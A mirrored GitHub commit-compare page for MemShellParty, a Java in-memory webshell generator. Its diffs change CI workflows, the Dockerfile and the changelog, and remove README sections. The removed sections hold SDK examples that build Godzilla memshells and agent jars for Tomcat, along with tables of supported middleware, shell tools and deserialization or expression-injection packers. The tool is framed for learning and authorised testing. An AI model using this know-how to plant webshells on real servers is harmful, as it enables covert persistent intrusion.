mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8c9948c339 | ||
|
|
5cfda07fe8 |
@@ -21,15 +21,4 @@ if __name__ == '__main__':
|
|||||||
if not result_lines:
|
if not result_lines:
|
||||||
print("Specified version not found.", file=sys.stderr)
|
print("Specified version not found.", file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
result_lines.append("## 更新方式\n")
|
|
||||||
result_lines.append("### Docker 部署\n")
|
|
||||||
result_lines.append("```bash\n")
|
|
||||||
result_lines.append("docker rm -f memshell-party\n\n")
|
|
||||||
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
|
|
||||||
result_lines.append("```\n")
|
|
||||||
result_lines.append("### Jar 包启动\n")
|
|
||||||
result_lines.append("> 仅支持 JDK17 及以上版本\n")
|
|
||||||
result_lines.append("```bash\n")
|
|
||||||
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
|
|
||||||
result_lines.append("```\n")
|
|
||||||
print("".join(result_lines).strip())
|
print("".join(result_lines).strip())
|
||||||
@@ -1,118 +0,0 @@
|
|||||||
name: "Dev Deploy"
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- dev
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
build-jar:
|
|
||||||
name: Build Jar
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Setup Bun
|
|
||||||
uses: oven-sh/setup-bun@v2
|
|
||||||
with:
|
|
||||||
bun-version: latest
|
|
||||||
|
|
||||||
- name: Build Web with Bun
|
|
||||||
working-directory: web
|
|
||||||
run: bun install --frozen-lockfile && bun run build
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
|
||||||
run: ./gradlew :boot:bootjar -x test
|
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
|
||||||
uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: boot
|
|
||||||
path: boot/build/libs/*.jar
|
|
||||||
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
needs: [ build-jar ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Download Boot Jar
|
|
||||||
uses: actions/download-artifact@v4
|
|
||||||
with:
|
|
||||||
name: boot
|
|
||||||
path: boot/build/libs
|
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v3
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v3
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v3
|
|
||||||
|
|
||||||
- name: Build and push
|
|
||||||
uses: docker/build-push-action@v6
|
|
||||||
with:
|
|
||||||
context: boot
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
push: true
|
|
||||||
tags: docker.io/reajason/memshell-party:dev
|
|
||||||
|
|
||||||
deploy-maven:
|
|
||||||
name: Deploy to Maven Central
|
|
||||||
needs: [ build-jar ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
deploy-northflank:
|
|
||||||
name: Deploy to Northflank
|
|
||||||
needs: [ docker-push ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
env:
|
|
||||||
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
|
|
||||||
steps:
|
|
||||||
- name: Update Deployment
|
|
||||||
run: |
|
|
||||||
curl --header "Content-Type: application/json" \
|
|
||||||
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
|
|
||||||
--request POST \
|
|
||||||
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
|
|
||||||
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
|
|
||||||
@@ -15,6 +15,9 @@ jobs:
|
|||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
- uses: actions/setup-python@v5
|
||||||
|
with:
|
||||||
|
python-version: '3.13'
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -35,6 +38,7 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
needs: [ info ]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -47,6 +51,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '23'
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -57,13 +66,13 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
@@ -109,29 +118,6 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
deploy-maven:
|
|
||||||
name: Deploy to Maven Central
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
needs: [ info, docker-push ]
|
needs: [ info, docker-push ]
|
||||||
@@ -147,13 +133,18 @@ jobs:
|
|||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
|
- name: Calculate SHA-256
|
||||||
|
id: calculate_sha256
|
||||||
|
run: |
|
||||||
|
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -29,10 +29,6 @@ replay_pid*
|
|||||||
**/build/
|
**/build/
|
||||||
!src/**/build/
|
!src/**/build/
|
||||||
|
|
||||||
**/bin/
|
|
||||||
!**/src/main/**/bin/
|
|
||||||
!**/src/test/**/bin/
|
|
||||||
|
|
||||||
# Ignore Gradle GUI config
|
# Ignore Gradle GUI config
|
||||||
gradle-app.setting
|
gradle-app.setting
|
||||||
|
|
||||||
|
|||||||
+1
-51
@@ -5,61 +5,11 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
|
||||||
- 支持 CC3、CC4 反序列化 payload 打包方式
|
|
||||||
- 支持随机参数生成与默认选项(#50)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 去除代码混淆相关代码
|
|
||||||
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
|
||||||
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
|
||||||
- 移除 commons-codec 降低 boot 打包体积
|
|
||||||
- 升级 shadcn/ui 所有 component 代码
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
|
||||||
|
|
||||||
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
|
||||||
|
|
||||||
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持自定义内存马生成 by @ReaJason(#49)
|
|
||||||
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
|
||||||
- 支持简易的代码混淆 by @ReaJason(#13)
|
|
||||||
- 支持自动发布 DEV 分支代码 CD
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Jetty 获取 Context 代码
|
|
||||||
- 优化 Dockerfile 减小镜像体积
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
|
||||||
|
|
||||||
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
|
||||||
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Valve 内存马代码
|
|
||||||
- 升级 Gradle 8.13
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
|
||||||
|
|
||||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|
||||||
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
- 支持缩小字节码(移除调试信息) by @ReaJason
|
||||||
- 支持 Tomcat Jakarta WebSocket
|
- 支持 Tomcat Jakarta WebSocket
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
|
|||||||
+8
-5
@@ -35,9 +35,11 @@ WORKDIR /usr/src
|
|||||||
|
|
||||||
COPY --from=source /usr/src /usr/src
|
COPY --from=source /usr/src /usr/src
|
||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
|
||||||
|
|
||||||
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
RUN set -ex && \
|
||||||
|
cd web && bash copy-build.sh && \
|
||||||
|
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
@@ -45,10 +47,11 @@ LABEL authors="ReaJason<[email protected]>"
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
|
||||||
useradd -r -g spring spring
|
|
||||||
|
|
||||||
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
|
RUN groupadd -r spring && \
|
||||||
|
useradd -r -g spring spring && \
|
||||||
|
chown spring:spring /app/app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -17,9 +17,23 @@
|
|||||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||||
|
|
||||||
|
MemShellParty 出现的原因有以下几个:
|
||||||
|
|
||||||
|
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
|
||||||
|
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
|
||||||
|
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
||||||
|
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
|
||||||
|
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
||||||
|
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
||||||
|
应用无感),必须得整一个玩玩。
|
||||||
|
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
|
||||||
|
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
|
||||||
|
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
|
||||||
|
|
||||||
希望你能从这个项目学会或尝试做的:
|
希望你能从这个项目学会或尝试做的:
|
||||||
|
|
||||||
1. 学会编写常见中间件框架的内存马。
|
1. 学会编写常见中间件框架的内存马编写方式。
|
||||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||||
@@ -32,9 +46,9 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- 最小化:尽可能精简内存马大小,高效传输。
|
- 最小化: 尽可能精简内存马大小,高效传输。
|
||||||
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
@@ -42,7 +56,8 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
|
|||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news,每次 Release 都会自动部署最新的镜像。
|
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
|
||||||
|
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -71,175 +86,7 @@ docker rm -f memshell-party
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
### SDK 集成到现有工具中
|
### 本地构建
|
||||||
|
|
||||||
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
|
||||||
|
|
||||||
1. 添加依赖,Maven Or Gradle
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- Maven Repo-->
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.7.0</version>
|
|
||||||
</dependency>
|
|
||||||
```
|
|
||||||
|
|
||||||
```groovy
|
|
||||||
// Gradle Repo
|
|
||||||
implementation 'io.github.reajason:generator:1.7.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 生成 Tomcat Godzilla Filter 内存马示例
|
|
||||||
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:"+result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:"+result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
|
||||||
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
```
|
|
||||||
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
```
|
|
||||||
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
|
||||||
|
|
||||||
## 适配情况
|
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
|
||||||
|
|
||||||
### 中间件以及框架
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
|
||||||
|----------------------|----------------------|------------------------|---------------|
|
|
||||||
| Filter | Filter | Filter | Servlet |
|
|
||||||
| Listener | Listener | Listener | Filter |
|
|
||||||
| Valve | Valve | Valve | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
|
||||||
|
|
||||||
### 内存马功能
|
|
||||||
|
|
||||||
- [x] Godzilla 哥斯拉
|
|
||||||
- [x] Behinder 冰蝎
|
|
||||||
- [x] 命令执行
|
|
||||||
- [x] Suo5
|
|
||||||
- [x] AntSword 蚁剑
|
|
||||||
- [x] Neo-reGeorg
|
|
||||||
- [x] Custom
|
|
||||||
|
|
||||||
### 封装方式
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] 原生反序列化(CB4)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC 连接
|
|
||||||
- [ ] 其他常见反序列化
|
|
||||||
|
|
||||||
## 本地构建
|
|
||||||
|
|
||||||
### 源代码构建
|
|
||||||
|
|
||||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
